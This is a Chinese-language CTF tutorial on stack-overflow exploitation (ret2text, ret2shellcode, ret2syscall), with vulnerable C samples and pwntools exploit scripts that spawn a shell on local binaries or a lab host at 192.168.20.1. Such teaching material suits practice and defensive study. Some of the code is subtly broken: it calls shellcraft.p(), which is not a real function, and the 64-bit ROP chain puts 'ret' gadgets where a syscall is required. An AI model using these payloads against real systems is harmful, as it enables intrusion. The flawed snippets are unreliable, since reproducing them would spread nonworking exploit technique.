1.ret2text

原理:

顾名思义,ret2text指的是漏洞利用点就在原文件中,即进程存在危险函数如system("/bin")execve("/bin/sh")的片段,可以直接劫持返回地址到目标函数地址上。从而getshell

利用前提:

程序开启了NX,栈上无法写入shellcode。

代码:

1
2
3
4
5
6
7
8
void test(){
system("/bin/sh");
}
int main(){
char buf[20];
gets(buf);
return 0;
}

利用思路:

1.checksecfile 查看文件信息和文件保护。
2.把文件丢进ida中查看源码(如上)。
3.确认是ret2textpwndbg中找偏移量
4.编写脚本。

脚本exp:

1
2
3
4
5
6
7
8
9
10
11
12

from pwn import *

p = process('./ret2text')
address = 0x804863a

payload = ('A' * (32 + 4) + p32(address)) 此处32是偏移量,4是ebp所占字节,64位系统中rbp占8字节。

p.recvline()
p.sendline(payload)
p.interactive()

2.ret2shellcode

原理:

ret2shellcode,即控制程序执行shellcode代码。shellcode指用于完成某个功能的汇编代码,常见功能主要是获取目标系统的shell。一般来说,shellcode需要我们自己填充。
说白了,程序中没有类似system("/bin/sh")后门函数,需要自己填充。

利用前提:

1 . 程序存在溢出,且能够控制返回地址
2 . 程序运行时,shellcode所在区域有可执行权限(NX保护关闭、bss段可执行)
3 . 操作系统关闭ASLR保护(或关闭PIE保护)

代码:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp){
char s; // [esp+1Ch][ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

利用思路:

1 . filechecksec查看文件信息,丢到ida中查看程序运行逻辑
2 . 找到程序的栈溢出漏洞,用pwndbg找到偏移量offset
3 . 在ida中查看bss段或者用pwndbgvmmap查看bss段(一般是用户创建的变量在bss段中)
4 . 构造shellcode, 构造payload,构造exp

脚本exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

from pwn import *
context(arch='x86', os='linux', log_level='debug') x86也可以换成i386

p = process('./ret2shellcode')
buf2_addr = 0x804863a

shellcode = asm(shellcraft.p()) #生成并汇编shellcode
payload = (shellcode.ljust(112 , 'A') + p32(buf2_addr))

p.recvline()
p.sendline(payload)
p.interactive()

其中asm函数将 汇编指令→二进制机器码 ,逆操作为disasm
shellcraft.p()获得执行system("/bin/sh")的汇编指令,效果等价于执行system("/bin/sh")但更底层、不依赖libc

3 . ret2syscall(32位ELF)

原理:

顾名思义,ret2syscall就是调用系统函数以达到getshell的目的
要做的就是:让程序调用execve("/bin/sh", NULL, NULL)函数即可拿到shell.

利用前提:

NX 开启,存在栈溢出,程序存在可以利用的gadgets
一般是静态链接,这样会有较多可以用的gadgets.

代码:

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp){
int v4; //[esp+1Ch][ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("song liu ke shi ge shuai bi");
puts("shi zhe yang de ");
gets(&v4);
return 0;
}

利用思路:

开启了NX保护,无法使用ret2shellcode,没有system函数,也不能使用ret2text,考虑直接利用程序的gadgets,控制rop链,最后直接执行execve(“/bin/sh”)

实现条件:

ROPgadget 查找符合条件的gadgets.

1
ROPgadget --binary rop --only "pop|ret" | grep "xxx"

目的是达到:

32位操作系统

系统调用号,即eax应该为 0xb
第一个参数,即ebx应该指向 /bin/sh的地址,其实执行sh的地址也可以
第二个参数,即ecx应该为 0
第三个参数,即edx应该为 0

64位操作系统

系统调用号,即rax应该为 0x3b
第一个参数,即rdi应该指向 /bin/sh的地址,其实执行sh的地址也可以
第二个参数,即rsi应该为 0
第三个参数,即rdx应该为 0

补充关键注意点
1 . 构造 payload 时需在syscall指令前加一个ret指令,保证执行syscall时栈满足 16 字节对齐,否则系统调用会失败;
2 . 上述寄存器传参顺序严格遵循 64 位 Linux 系统调用规范,不可混淆(如不能用rbx替代rdi传第一个参数)。

脚本exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 32位
from pwn import *
context.log_level = 'debug'
# sh = process('./rop')
sh = remote('192.168.20.1',1747)

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408

payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh,
int_0x80])

sh.sendline(payload)
sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

这次字符表里面没有/bin/sh字符串, 没有就自己构造,通过rop系统调用read函数,将"/bin/sh"写入bss段,然后执行execve("/bin/sh")

from pwn import *
# sh = process("./ret2syscall")
sh = remote('192.168.20.1',40830)
context.log_level = 'debug'

pop_rax =0x000000000046b9f8
pop_rdi = 0x00000000004016c3
pop_rdx_rsi =0x00000000004377f9
bss = 0x00000000006c2000
ret = 0x000000000045bac5

payload = b"a"*0x58
payload += p64(pop_rax)+p64(0)
payload += p64(pop_rdx_rsi)+p64(0x10)+p64(bss)
payload += p64(pop_rdi)+p64(0)
payload += p64(ret)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdx_rsi)+p64(0)+p64(0)
payload += p64(pop_rdi)+p64(bss)
payload += p64(ret)

sh.sendline(payload)
sleep(3)
sh.send(b"/bin/sh\x00")
sh.interactive()